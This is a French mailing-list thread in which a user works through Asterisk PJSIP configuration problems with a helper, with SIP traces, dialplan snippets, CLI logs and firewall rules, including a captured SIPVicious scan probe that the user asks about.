  Transport:  udp-transport udp  0  0  0.0.0.0:5060
   Identify:  SBSR/SBSR
Match: 37.97.65.186/32

 100rel : yes
 accept_multiple_sdp_answers: false
 accountcode:
 acl:
 aggregate_mwi  : true
 allow  : (alaw|ulaw|g722|gsm)
 allow_overlap  : true
 allow_subscribe: true
 allow_transfer : true
 allow_unauthenticated_options  : false
 aors   : SBSR
 asymmetric_rtp_codec   : false
 auth   :
 bind_rtp_to_media_address  : false
 bundle : false
 call_group :
 callerid   : 
 callerid_privacy   : allowed_not_screened
 callerid_tag   :
 codec_prefs_incoming_answer: prefer:pending,
operation:intersect, keep:all, transcode:allow
 codec_prefs_incoming_offer : prefer:pending,
operation:intersect, keep:all, transcode:allow
 codec_prefs_outgoing_answer: prefer:pending,
operation:intersect, keep:all, transcode:allow
 codec_prefs_outgoing_offer : prefer:pending, operation:union,
keep:all, transcode:allow
 connected_line_method  : invite
 contact_acl:
 context: sbsr
 cos_audio  : 0
 cos_video  : 0
 device_state_busy_at   : 0
 direct_media   : false
 direct_media_glare_mitigation  : none
 direct_media_method: invite
 disable_direct_media_on_nat: false
 dtls_auto_generate_cert: No
 dtls_ca_file   :
 dtls_ca_path   :
 dtls_cert_file :
 dtls_cipher:
 dtls_fingerprint   : SHA-256
 dtls_private_key   :
 dtls_rekey : 0
 dtls_setup : active
 dtls_verify: No
 dtmf_mode  : rfc4733
 fax_detect : false
 fax_detect_timeout : 0
 follow_early_media_fork: true
 force_avp  : false
 force_rport: true
 from_domain: systella2.buroticstore.eu
 from_user  : trunk-sip
 g726_non_standard  : false
 geoloc_incoming_call_profile   :
 geoloc_outgoing_call_profile   :
 ice_support: false
 identify_by: username,ip
 ignore_183_without_sdp : false
 inband_progress: false
 incoming_call_offer_pref   : local
 incoming_mwi_mailbox   :
 language   :
 mailboxes  :
 max_audio_streams  : 1
 max_video_streams  : 1
 media_address  :
 media_encryption   : no
 media_encryption_optimistic: false
 media_use_received_transport   : false
 message_context:
 moh_passthrough: false
 moh_suggest: default
 mwi_from_user  :
 mwi_subscribe_replaces_unsolicited : no
 named_call_group   :
 named_pickup_group :
 notify_early_inuse_ringing : false
 one_touch_recording: false
 outbound_auth  : SBSR_auth
 outbound_proxy :
 outgoing_call_offer_pref   : remote_merge
 overlap_context:
 pickup_group   :
 preferred_codec_only   : false
 record_off_feature : automixmon
 record_on_feature  : automixmon
 refer_blind_progress   : true
 rewrite_contact: false
 rpid_immediate : false
 rtcp_mux   : false
 rtp_engine

Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> Ton asterisk (192.168.1.1) qui répond 503 au SPA
> 
> Il faudrait la config complète du SPA

J'ai bien une sauvegarde de la configuration, mais ce n'est pas un
fichier texte :

hilbert:[~] > file SPA112_1.4.1.cfg
SPA112_1.4.1.cfg: dBase III DBT, version number 0

J'ai laissé dans les SPA112 la configuration qui fonctionnait
historiquement chez Nerim.

Comment envoyer cette configuration sans tout recopier à la main (ce
qui sera long et illisible) ?



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
>> Je ne saisis pas comment ces paquets arrivent à passer le firewall.
> Ce sont les attaques dont je parlais précédemment. Il semble qu'il y ai
> un trou dans le FW. Y'a pas du nat sur le Cisco pour le wan => lan ?

Le serveur est en DMZ donc récupère tout ce qui arrive côté WAN et le
nate. Iptables est censé faire le boulot aidé par fail2ban.

Je viens de relancer le firewall pour voir.



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> On peut avoir les logs "lisibles", je me demande si ce n'est pas le SPA
> qui envoit cette erreur ...

On va réessayer.

2023/07/03 11:16:49.319643 192.168.10.253:5060 -> 192.168.1.1:5060
INVITE sip:0052@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-4ffc33f;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: 
Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 101 INVITE
Max-Forwards: 70
Contact: "BERTRAND Jool" 
Expires: 240
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 337
Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER
Supported: replaces
Content-Type: application/sdp

v=0
o=- 1109306 1109306 IN IP4 192.168.10.253
s=-
c=IN IP4 192.168.10.253
t=0 0
m=audio 16388 RTP/AVP 8 18 0 2 100 101
a=rtpmap:8 PCMA/8000
a=rtpmap:18 G729a/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:2 G726-32/8000
a=rtpmap:100 NSE/8000
a=fmtp:100 192-193
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:30
a=sendrecv


2023/07/03 11:16:49.320230 192.168.1.1:5060 -> 192.168.10.253:5060
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP
192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-4ffc33f
Call-ID: b4303fbc-598e832d@192.168.10.253
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=z9hG4bK-4ffc33f
CSeq: 101 INVITE
WWW-Authenticate: Digest
realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",opaque="5872e4ec55567b00",algorithm=MD5,qop="auth
"
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Content-Length:  0

2023/07/03 11:16:49.324923 192.168.10.253:5060 -> 192.168.1.1:5060
ACK sip:005@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-4ffc33f;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=z9hG4bK-4ffc33f
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 101 ACK
Max-Forwards: 70
Contact: "BERTRAND Jool" 
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 0

2023/07/03 11:16:49.328795 192.168.10.253:5060 -> 192.168.1.1:5060
INVITE sip:005@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-7769d797;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: 
Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 102 INVITE
Max-Forwards: 70
Authorization: Digest
username="6001",realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",uri="sip:005@192.168.1.1",al
gorithm=MD5,response="8cda3eaf2616c6c31814e0420a209a45",opaque="5872e4ec55567b00",qop=auth,nc=0001,cnonce="569b9d8d"
Contact: "BERTRAND Jool" 
Expires: 240
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 337
Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER
Supported: replaces
Content-Type: application/sdp

v=0
o=- 1109306 1109306 IN IP4 192.168.10.253
s=-
c=IN IP4 192.168.10.253
t=0 0
m=audio 16388 RTP/AVP 8 18 0 2 100 101
a=rtpmap:8 PCMA/8000
a=rtpmap:18 G729a/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:2 G726-32/8000
a=rtpmap:100 NSE/8000
a=fmtp:100 192-193
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:30
a=sendrecv

2023/07/03 11:16:49.329462 192.168.1.1:5060 -> 192.168.10.253:5060
SIP/2.0 100 Trying
Via: SIP/2.0/UDP
192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-7769d797
Call-ID: b4303fbc-598e832d@192.168.10.253
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: 
CSeq: 102 INVITE
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Content-Length:  0

2023/07/03 11:16:49.366603 192.168.1.1:5060 -> 192.168.10.253:5060
SIP/2.0 503 Service Unavailable
Via: SIP/2.0/UDP
192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-7769d797
Call-ID: b4303fbc-598e832d@192.168.10.253
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=b3c85bd6-bf99-4304-9bb8-9f72ed0e951f
CSeq: 102 INVITE
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Reason: Q.850;cause=34
Content-Length:  0

C'est effectivement le SPA qui a l'air de répondre par une erreur 503.

2023/07/03 11:16:49.404098 192.168.10.253:5060 -> 192.168.1.1:5060
ACK sip:005@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-7769d797;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=b3c85bd6-bf99-4304-9bb8-9f72ed0e951f
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 102 ACK
Max-Forwards: 70
Authorization: Digest
username="6001",realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",uri="sip:005@192.168.1.1",al
gorithm=MD5,response="8cda3eaf2616c6c31814e0420a209a45",opaque="5872e4ec55567b00",qop=auth,nc=0001,cnonce="569b9d8d"
Contact: "BERTRAND Jool" 
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 0



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> Ton problème: error 503 Service Unavailable
> 
> Es tu sûr que le service est fonctionnel ?! Es tu sûr de la qualité de
> ton lien ? Peux tu basculer en UDP pour tester ?

Le serveur en face ne répond pas en UDP. La réponse est donc non.

Un point me chagrine. À la requête du serveur de l'opérateur :
2023/07/03 11:00:47.087935 37.97.65.186:5070 -> 192.168.15.18:40055
OPTIONS sip:s@62.212.98.88:5060;transport=TCP SIP/2.0
Via: SIP/2.0/TCP 37.97.65.186:5070;branch=z9hG4bKZ67rt8U6937aK
Route: ;transport=TCP
Max-Forwards: 70
From: ;tag=7Xp87eDtae20H
To: 
Call-ID:
64f20903-cd7d-4d95-bbee-bac3e99029e2_4747c3c2-355c-4604-be14-d88ac29d89
48
CSeq: 348219426 OPTIONS
Contact: 
User-Agent: Sewan_TRUNKFSC15
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE,
REGISTER, NOTIF
Y
Supported: path, replaces
Allow-Events: talk, hold, conference, refer
Content-Length: 0

mpon asterisk répond :
2023/07/03 11:00:47.088564 192.168.15.18:40055 -> 37.97.65.186:5070
SIP/2.0 404 Not Found
Via: SIP/2.0/TCP
37.97.65.186:5070;rport=5070;received=37.97.65.186;branch=z9hG4
bKZ67rt8U6937aK
Call-ID:
64f20903-cd7d-4d95-bbee-bac3e99029e2_4747c3c2-355c-4604-be14-d88ac29d89
48
From: ;tag=7Xp87eDtae20H
To: ;tag=z9hG4bKZ67rt8U6937aK
CSeq: 348219426 OPTIONS
Accept: application/sdp, application/xpidf+xml,
application/cpim-pidf+xml, appli
cation/simple-message-summary, application/pidf+xml,
application/dialog-info+xml
, application/pidf+xml, application/dialog-info+xml,
application/simple-message-
summary, message/sipfrag;version=2.0
Allow: OPTIONS, REGISTER, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE,
CANCEL,
UPDATE, PRACK, REFER, MESSAGE
Supported: 100rel, timer, replaces, norefersub
Accept-Encoding: identity
Accept-Language: en
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Content-Length:  0


> Il faudrait voir avec Sewan le pourquoi de la réponse. Lié au problème
> d'UTF8 car ton prénom est devenu Jool ... ?

Je vais voir avec eux.

Petite question connexe sur sngrep. Je trouve des choses comme ça :
[ ] 29   OPTIONS100@1.1.1.1 100@1.1.1.1   1
[ ] 45   OPTIONScensysinsp...@censys.io test.e...@sip5060.net 1

Quand je vais voir dedans, je peux trouver :

2023/07/03 10:30:06.796424 116.12.47.142:5102 -> 192.168.15.18:5060
OPTIONS sip:100@62.212.98.88 SIP/2.0
Via: SIP/2.0/UDP 116.12.47.142:5102;branch=z9hG4bK-1203353867;rport
Max-Forwards: 70
To: "sipvicious"
From:
"sipvicious";tag=3365643436323538313363340132313430303536
303634
User-Agent: friendly-scanner
Call-ID: 681857140004342012871496
Contact: sip:100@116.12.47.142:5102
CSeq: 1 OPTIONS
Accept: application/sdp
Content-Length: 0

Je ne saisis pas comment ces paquets arrivent à passer le firewall. Par
défaut, tout est fermé et je n'ouvre que le nécessaire. En particulier,
le 5060/UDP est censé être fermé.

Chain INPUT (policy DROP 18 packets, 1941 bytes)
 pkts bytes target prot opt in out source
destination
  889 99011 f2b-recidive  tcp  --  anyany anywhere
anywhere
  736  144K ACCEPT all  --  lo any anywhere
anywhere
  739 50821 ACCEPT all  --  lan0   any anywhere
anywhere
   12  1872 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:ssh
   56  5214 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:smtp
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:domain
172 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:domain
   33  4407 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:http
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:ntp
   19  3508 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:https
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:submissions
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:submission
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:imaps
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:pop3s
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:openvpn
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:openvpn
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:cvspserver
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:2401
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:xmpp-client
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:git
0 0 ACCEPT icmp --  wan0   any anywhere
anywhere
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:1
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere   

Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
>> rayleigh*CLI> core set verbose 3
>> Console verbose was OFF and is now 3.
>> [Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
>> CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
>> characters which were replaced
>> [Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
>> CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
>> characters which were replaced
>>  -- Executing [001@internal:1] Dial("PJSIP/6001-0008",
>> "PJSIP/01@SBSR") in new stack
>>  -- Called PJSIP/01@SBSR
>>    == Everyone is busy/congested at this time (1:0/1/0)
>>  -- Auto fallthrough, channel 'PJSIP/6001-0008' status is
>> 'CONGESTION'
> 
> En cli, pjsip set logger host 

Jul  3 10:14:34] WARNING[32621]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
[Jul  3 10:14:34] WARNING[32621]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
-- Executing [001@internal:1] Dial("PJSIP/6001-",
"PJSIP/0148069873@SBSR") in new stack
-- Called PJSIP/01@SBSR
  == Everyone is busy/congested at this time (1:0/1/0)
-- Auto fallthrough, channel 'PJSIP/6001-' status is
'CONGESTION'
<--- Received SIP request (651 bytes) from TCP:37.97.65.186:5070 --->
OPTIONS sip:s@62.212.98.88:5060;transport=TCP SIP/2.0
Via: SIP/2.0/TCP 37.97.65.186:5070;branch=z9hG4bKF13grv1tvD7va
Route: ;transport=TCP
Max-Forwards: 70
From: ;tag=a3r2eB8ge69Dp
To: 
Call-ID:
4a0ef4d5-4ac8-48f1-a551-e61277fe9753_4747c3c2-355c-4604-be14-d88ac29d8948
CSeq: 348033221 OPTIONS
Contact: 
User-Agent: Sewan_TRUNKFSC15
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE,
REGISTER, NOTIFY
Supported: path, replaces
Allow-Events: talk, hold, conference, refer
Content-Length: 0

> En parallèle, dans un terminal, lance sngrep

Une seule transaction :

  │INVITE
sip:00148069873@192.168.1.1 SIP/2
   192.168.10.253:5060│.0
  ──┬─│Via: SIP/2.0/UDP
192.168.10.253:5060;bra
  10:14:34.308815   │INVITE (S│nch=z9hG4bK-e51ba7a4;rport
+0.000602   │ │From: "BERTRAND Jool"
;tag=d0c01f1f32fe402fo0
+0.005262   │ <───│To: 
  10:14:34.314679   │ ACK │Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
  10:14:34.317965   │INVITE (S│Call-ID:
57d1fddf-fd97f06f@192.168.10.25
+0.000737   │ │3
  10:14:34.318702   │ 100 Tryi│CSeq: 101 INVITE
+0.044037   │ <───│Max-Forwards: 70
  10:14:34.362739   │   503 Service Un│Contact: "BERTRAND Jool"

  10:14:34.398429   │ ACK │Expires: 240
│ │User-Agent: Cisco/SPA112-1.4.1_SR5
│ │Content-Length: 335
│ │Allow: ACK, BYE, CANCEL, INFO,
INVITE, N
│ │OTIFY, OPTIONS, REFER
│ │Supported: replaces
│ │Content-Type: application/sdp
│ │
│ │v=0
│ │o=- 735811 735811 IN IP4
192.168.10.253
│ │s=-
│ │c=IN IP4 192.168.10.253
│ │t=0 0
│ │m=audio 16386 RTP/AVP 8 18 0 2
100 101
│ │a=rtpmap:8 PCMA/8000
│ │a=rtpmap:18 G729a/8000
│ │a=rtpmap:0 PCMU/8000
│ │a=rtpmap:2 G726-32/8000
│ │a=rtpmap:100 NSE/8000
│ │a=fmtp:100 192-193
│ │a=rtpmap:101 telephone-event/8000
│ │a=fmtp:101 0-15
│ │a=ptime:30
│ │a=sendrecv

>>
>> - les appels entrants font bien sonner le bon téléphone, mais
>> seule la
>> voie sortante fonctionne.
> je ne comprends pas cette phrase
>>> ?
>> Lorsque j'appelle par exemple de mon cellulaire vers un numéro
>> correspondant au trunk SIP.
> Je ne comprends pas plus: tu appelles de ton cellulaire vers un numéro
> et le poste correspondant sonne. J'ai juste ?

Oui.

> Que veut dire alors "seule
> la voie sortante fonctionne" alors que tu n'arrives pas à passer d'appel ?

Je n'arrive pas à passer un appel sortant. Un appel entrant est
acheminé, mais seule les paquets RTP asterisk vers le monde extérieur
passent. Il n'y a aucun paquet RTP entrants.

>>     Il n'y a aucun 

Re: Configuration asterisk

2023-07-02 Thread BERTRAND Joël
NoSpam a écrit :
> 
> Le 02/07/2023 à 19:36, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Le 02/07/2023 à 18:27, BERTRAND Joël a écrit :
>>>> [...]
>>>> - tous les appels sortants échouent lamentablement ;
>>> Poste les logs. En cli, core set verbose 3 puis passe un appel en copie
>>> les logs ici
> Pas de logs ...

Oui, journée difficile...

rayleigh*CLI> core set verbose 3
Console verbose was OFF and is now 3.
[Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
[Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
-- Executing [001@internal:1] Dial("PJSIP/6001-0008",
"PJSIP/01@SBSR") in new stack
-- Called PJSIP/01@SBSR
  == Everyone is busy/congested at this time (1:0/1/0)
-- Auto fallthrough, channel 'PJSIP/6001-0008' status is
'CONGESTION'

>>>> - les appels entrants font bien sonner le bon téléphone, mais seule la
>>>> voie sortante fonctionne.
>>> je ne comprends pas cette phrase
> ?

Lorsque j'appelle par exemple de mon cellulaire vers un numéro
correspondant au trunk SIP.

>>>>    Il n'y a aucun paquet RTP qui provient de
>>>> l'extérieur...
>>> Qu'as tu mis dans ton transport
>>>
>>> external_media_address et external_signaling_address ?
>> [tcp-transport]
>>  type=transport
>>  protocol=tcp
>>  bind=192.168.15.18
>>  local_net=192.168.0.0/16
>>  external_media_address=adresse publique
>>  external_signaling_address=adresse publique
> 
> tcp ? udp est la norme mais ppurqoi pas. RTP est en UDP.: la fourchette
> de ports que tu as définie est elle bien renvoyée vers asterisk ?

Tout est renvoyé vers le serveur asterisk (DMZ) qui accepte tout ce qui
vient du sous-réseau de l'opérateur en question quel que soit le
protocole (iptables). La signalisation est faite en TCP sur le port
5070. Mais les paquets RTP doivent normalement passer en UDP. Du reste,
c'est bien ce que j'observe.

>>
>>> Difficile de te répondre ne connaissant pas le schéma du réseau ...
>> WAN-modem fibre-(192.168.15.18)DMZ(asterisk 192.168.1.1)
>>   |  |
>>   | 192.168.1.2
>>   +-serveur LAN
>>    192.168.10.128
>>  |
>>     LAN
>>
>> Tous les postes sont sur le LAN. Le WAN est en fait un MPLS
>> (redondance
>> fibre/4G d'un /29).
> Par hasard, une livebox ? Une fibre FIB Orange ?

Non, réseau Axione avec un Cisco.

>>>> [internal]
>>>>   exten => 6001,1,Dial(PJSIP/6001)
>>>>   exten => 6002,1,Dial(PJSIP/6002)
>>>>   exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
>>> Ne connaissant pas la config de SBSR.
>>>
>>> Modifie ta ligne en _0X de manière à ne pas envoyer tout ce qui
>>> commence par 0 plus un caractère minimum à ton opérateur, il risque de
>>> ne pas aimer ;)
>> [internal]
>>  exten => 6001,1,Dial(PJSIP/6001)
>>  exten => 6002,1,Dial(PJSIP/6002)
>>  exten => _00[1-7],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> 
> exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> 
> Depuis le 01/01/2023 les 06 et 07 sont interdits pour la prospection
> commerciale, les numéros géographiques ne le sont plus, les 09 sont les
> numéros en vogue
> 
> Ton opérateur ne publie t'il pas d'exemple de configuration ?

J'ai un accès internet pour les ploucs. J'ai déjà eu du mal à obtenir
une fibre avec un /29 IPv4 et un /48 IPv6 et un routage MPLS... Je n'ai
pas accès aux opérateurs pro classiques, il faut que ces opérateurs
aient un contrat de partenariat avec la région et ce sont souvent des
gens qui sont à trois ou quatre dans une boîte...



Re: Configuration asterisk

2023-07-02 Thread BERTRAND Joël
NoSpam a écrit :
> 
> Le 02/07/2023 à 18:27, BERTRAND Joël a écrit :
>> [...]
>> - tous les appels sortants échouent lamentablement ;
> Poste les logs. En cli, core set verbose 3 puis passe un appel en copie
> les logs ici
>> - les appels entrants font bien sonner le bon téléphone, mais seule la
>> voie sortante fonctionne.
> je ne comprends pas cette phrase
>>   Il n'y a aucun paquet RTP qui provient de
>> l'extérieur...
> 
> Qu'as tu mis dans ton transport
> 
> external_media_address et external_signaling_address ?

[tcp-transport]
type=transport
protocol=tcp
bind=192.168.15.18
local_net=192.168.0.0/16
external_media_address=adresse publique
external_signaling_address=adresse publique

> Difficile de te répondre ne connaissant pas le schéma du réseau ...

WAN-modem fibre-(192.168.15.18)DMZ(asterisk 192.168.1.1)
 |  |
 | 192.168.1.2
 +-serveur LAN
  192.168.10.128
|
   LAN

Tous les postes sont sur le LAN. Le WAN est en fait un MPLS (redondance
fibre/4G d'un /29).

>>
>> [internal]
>>  exten => 6001,1,Dial(PJSIP/6001)
>>  exten => 6002,1,Dial(PJSIP/6002)
>>  exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)
> 
> Ne connaissant pas la config de SBSR.
> 
> Modifie ta ligne en _0X de manière à ne pas envoyer tout ce qui
> commence par 0 plus un caractère minimum à ton opérateur, il risque de
> ne pas aimer ;)

[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _00[1-7],1,Dial(PJSIP/${EXTEN:1}@SBSR)


>> [sbsr]
>>  exten => +33,1,Dial(PJSIP/6001)
>>  exten => +33,1,Dial(PJSIP/6002)
> Es tu sûr que ton opérateur envoi le numéro préfixé +33 ?

Oui, j'en suis sûr, je le vois passer dans les logs.



Re: Configuration asterisk

2023-07-02 Thread BERTRAND Joël
NoSpam a écrit :
> Fallait dire de suite que c'était pour un SPA ! C'est plus délicat mais
> cela fonctionne
> 
> 1. d'ou sort le E accolé au 6001 ?

De nulle part, c'était un test pour ne pas avoir un identifiant
totalement numérique.

Je m'occuperai de cela lorsque j'aurai compris les plans de
numérotation. Pour l'instant, les appels passent d'un poste à l'autre en
interne, mais :
- tous les appels sortants échouent lamentablement ;
- les appels entrants font bien sonner le bon téléphone, mais seule la
voie sortante fonctionne. Il n'y a aucun paquet RTP qui provient de
l'extérieur...

[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _0.,1,Dial(PJSIP/${EXTEN:1}@SBSR)

[sbsr]
exten => +33,1,Dial(PJSIP/6001)
exten => +33,1,Dial(PJSIP/6002)

L'idée est de pouvoir sortir en faisant 0+numéro de téléphone.
Naturellement, la registration est bonne :

rayleigh*CLI> pjsip show registrations

 
  
==

 SBSR/sip:37.97.65.186:5070  SBSR_auth
 Registered(exp. 52s)

Objects found: 1

Bien cordialement,

JB



Re: Configuration asterisk

2023-07-02 Thread BERTRAND Joël
NoSpam a écrit :
> sip:6001E@192.168.1.1
> 
> https://www.asterisk.org/identifying-endpoint-pjsip/

Rien n'y fait.

Si je colle 6001 dans le SPA112, j'ai bien une trame qui demande une
authentification du login sip:6001E@192.168.1.1. Mais que je colle
username=6001E, 6001E@192.168.1.1 ou sip:6001E@192.168.1.1, ça termine
par une erreur d'authentification.

JB



Re: Configuration asterisk

2023-07-02 Thread BERTRAND Joël
NoSpam a écrit :
> Remplace user=6002 par username=SDA112net2501

Dès que je mets autre chose qu'une suite de chiffres, je reçois ceci
comme erreur :

[Jul  2 15:52:30] NOTICE[9876]: res_pjsip/pjsip_distributor.c:676
log_failed_request: Request 'REGISTER' from '"BERTRAND Jo�l"
' failed for '192.168.10.253:5060' (callid:
96a66e5d-8db7dc63@192.168.10.253) - Failed to authenticate
[Jul  2 15:52:30] NOTICE[9876]: res_pjsip/pjsip_distributor.c:676
log_failed_request: Request 'REGISTER' from '"BERTRAND Jo�l"
' failed for '192.168.10.253:5060' (callid:
96a66e5d-8db7dc63@192.168.10.253) - No matching endpoint found

JB



Re: Configuration asterisk

2023-07-02 Thread BERTRAND Joël
NoSpam a écrit :
> Bonjour.

Bonjour,

> chan_sip est deprecated depuis  longtemps et sera retiré avant la fin de
> l'année. pjsip est son successeur, évolution obligatoire.
> 
> J'ose espérer que tes ports 506/5061 UDP & TCP ne sont pas ouverts sur
> Internet, avec ta configuration tu cours au massacre du porte monnaie si
> ton trunk sortant est payant.

Non, tout est fermé de ce côté (firewall + asterisk qui n'écoute que
côté LAN).

> Ce qu'il ne faut pas faire c'est donner des extensions numériques -à
> cause des attaques brutes comme dit ci dessus- il faut faire dans sip.conf
> 
> [userEnAlphaAvecDeLaCasseEtDuNumerique]
> 
>  definition du user et dans extensions.conf
> 
> exten => 6001,1,Dial(SIP/userEnAlphaAvecDeLaCasseEtDuNumerique)
> 
> Aussi ne PAS mélanger les appels entrants et sortants toujours à cause
> des attaques. Fail2ban est ton ami pour se protéger

Certes et puisqu'on en parle ;-)

J'ai quelques problèmes d'incompréhension avec pjsip.conf.

Considérons le fichier suivant :

[6001](SDA112)
auth=6001
aors=6001

[6001](auth_userpass)
username=6001
password=

[6001](aor_dynamic)

[SDA112net2501](SDA112)
auth=SDA112net2501
aors=SDA112net2501

[SDA112net2501](auth_userpass)
username=6002
password=

[SDA112net2501](aor_dynamic)

Le téléphone 6001 arrive à s'authentifier. Pas SDA112net2501. Si je
remplace SDA112net2501 par 6002, ça fonctionne. Dans l'autre sens, si
j'écris :

[SDA112net2531](SDA112)
auth=6001
aors=6001

[6001](auth_userpass)
username=6001
password=

[6001](aor_dynamic)

c'est le poste 6001 qui ne s'authentifie plus.

Bien cordialement,

JB



Re: Configuration asterisk

2023-07-01 Thread BERTRAND Joël
Bon, j'ai réussi à régler le coup des appels entrants. Le '.' et le '!'
ne peuvent pas être utilisés n'importe où et les regex sont un peu
tatillonnes.

Reste le problème des appels sortants :

[User-standard]
exten => 6001,1,Dial(SIP/6001)
exten => 6002,1,Dial(SIP/6002)
exten => _0.,1,Dial(SIP/${EXTEN:1})

retourne :
[Jul  1 12:00:13] WARNING[12569][C-0001] chan_sip.c: Purely numeric
hostname (0x), and not a peer--rejecting!
[Jul  1 12:00:13] NOTICE[12569][C-0001] app_dial.c: Unable to create
channel of type 'SIP' (cause 20 - Subscriber absent)

JKB



Configuration asterisk

2023-07-01 Thread BERTRAND Joël
Bonjour à tous,

Je tente la configuration d'un serveur asterisk et je me noie un peu
dans la configuration.

Ce que j'ai fait jusqu'à présent :
- installation d'un serveur asterisk (20.3.0~dfsg+~cs6.13.40431413-1) ;
- configuration du fichier users.conf pour rajouter tous mes téléphones
IP. Tous les téléphones sont connectés au serveur asterisk et tous
peuvent s'appeler entre eux.

Dans extensions.conf, j'ai simplement configuré :

[general]
static=yes
writeprotect=no
autofallthrough=yes
clearglobalvars=yes
priorityjumping=no

[globals]
dial_opts=g
my_dial_status=answer
timeout=45

[User-standard]
exten => 6001,1,Dial(SIP/6001)
